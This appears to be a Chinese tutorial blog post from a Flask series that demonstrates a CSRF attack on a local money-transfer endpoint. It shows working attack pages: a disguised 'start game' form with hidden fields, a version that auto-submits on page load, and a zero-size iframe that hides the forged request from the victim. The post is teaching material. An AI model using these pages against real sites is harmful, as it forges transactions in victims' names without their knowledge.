zoukankan      html  css  js  c++  java
  • 六十四:CSRF攻击与防御之系统准备之病毒网站转账实现

    准备一个页面或图片,用于用户访问

    一:表单方式

    视图

    from flask import Flask, render_template

    app = Flask(__name__)


    @app.route('/')
    def index():
    return render_template('index.html')


    if __name__ == '__main__':
    app.run(debug=True)

    页面代码

    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>病毒网站</title>
    </head>
    <body>
    <h1>这是病毒网站</h1>
    <img src="{{ url_for('static', filename='404.jpg') }}" alt="" width="100%" height="100%">
    <form action="http://127.0.0.1:5000/transfer/" method="post"><!--转账接口和请求方法-->
    <table>
    <tbody>
    <tr>
    <td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
    </tr>
    <tr>
    <td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
    </tr>
    <tr>
    <td></td>
    <td><input type="submit" value="开始游戏"></td><!--转账按钮-->
    </tr>
    </tbody>
    </table>
    </form>
    </body>
    </html>

    数据库的情况

    确保有cookie信息

    用户点开始游戏

    再看数据

    二:js方式

    自动提交转账的页面

    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>病毒网站</title>
    <script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
    </head>
    <body>
    <form action="http://127.0.0.1:5000/transfer/" method="post" id="myform"><!--转账接口和请求方法-->
    <table>
    <tbody>
    <tr>
    <td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
    </tr>
    <tr>
    <td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
    </tr>
    </tbody>
    </table>
    </form>
    <script>
    $(function () {
    $('#myform').submit(); //访问页面就自动提交代码
    });
    </script>
    </body>
    </html>

    视图

    from flask import Flask, render_template

    app = Flask(__name__)


    @app.route('/')
    def index():
    return render_template('index.html')


    @app.route('/transfer/')
    def transfer():
    return render_template('transfer.html')


    if __name__ == '__main__':
    app.run(debug=True, port=8888)

    提供给用户访问的页面

    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>病毒网站</title>
    </head>
    <body>
    <h1>这是病毒网站</h1>
    <img src="{{ url_for('static', filename='404.jpg') }}" alt="" width="100%" height="100%">
    <!--因为转账有响应的页面,所以使用iframe将其网页在当前页面加载为子页面,并把宽和高都设为0,用户就察觉不到了-->
    <iframe src="{{ url_for('transfer') }}" frameborder="0" width="0" height="0"></iframe>
    </body>
    </html>

    数据库信息

    用户访问页面

    数据库信息

  • 相关阅读:
    蛇形填数字 (附书上例题答案)
    排列 (C++实现)
    分数化小数(C++)
    Operating System 1.2 什么是操作系统
    Python知识点入门笔记——基本控制流程
    Python知识点入门笔记——基本运算和表达式
    Python知识点入门笔记——Python的基本数据类型
    网络架构遵循原则
    浏览器输入网址后发生了这些
    JAVA解析XML有哪几种方法?并简述各自的优缺点
  • 原文地址:https://www.cnblogs.com/zhongyehai/p/11871905.html
Copyright © 2011-2022 走看看